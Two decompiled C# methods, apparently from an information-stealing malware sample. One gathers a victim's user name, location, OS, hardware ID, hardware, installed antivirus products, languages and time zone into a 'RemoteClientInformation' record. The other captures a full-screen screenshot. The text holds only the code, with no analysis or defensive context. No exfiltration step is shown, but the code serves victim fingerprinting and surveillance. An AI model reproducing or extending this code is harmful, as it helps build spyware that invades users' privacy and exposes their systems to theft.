// Token: 0x0600099E RID: 2462 RVA: 0x000200FC File Offset: 0x0001E2FC public static RemoteClientInformation CreateRandom(string SourceID) { RemoteClientInformation result; try { GeoLocationHelper.Initialize(); Size screenSize = ClientInfoHelper.GetScreenSize(); string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString(); if (!text.StartsWith("-")) { text = "+" + text; } result = new RemoteClientInformation { ID = 0, LogTime = DateTime.Now, SourceID = SourceID, UserName = Environment.UserName, ClientIP = ClientInfoHelper.RandomIp(), Country = GeoLocationHelper.GeoInfo.CountryCode, OperationSystem = ClientInfoHelper.ParseOS(), HardwareID = ClientInfoHelper.ParseHWID(), Hardwares = ClientInfoHelper.ParseHardwares(), Antiviruses = ClientInfoHelper.ParseDefenders(), Languages = ClientInfoHelper.AvailableLanguages(), CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName, MonitorSize = string.Format("{0}x{1}", screenSize.Width, screenSize.Height), TimeZone = "UTC" + text, City = GeoLocationHelper.GeoInfo.City }; } catch { result = null; } return(result); }
// Token: 0x06000997 RID: 2455 RVA: 0x0001FE10 File Offset: 0x0001E010 private static Bitmap GetScreenshot() { Bitmap result; try { Size screenSize = ClientInfoHelper.GetScreenSize(); Bitmap bitmap = new Bitmap(screenSize.Width, screenSize.Height); using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.InterpolationMode = InterpolationMode.Bicubic; graphics.PixelOffsetMode = PixelOffsetMode.HighSpeed; graphics.SmoothingMode = SmoothingMode.HighSpeed; graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), screenSize); } result = bitmap; } catch { result = null; } return(result); }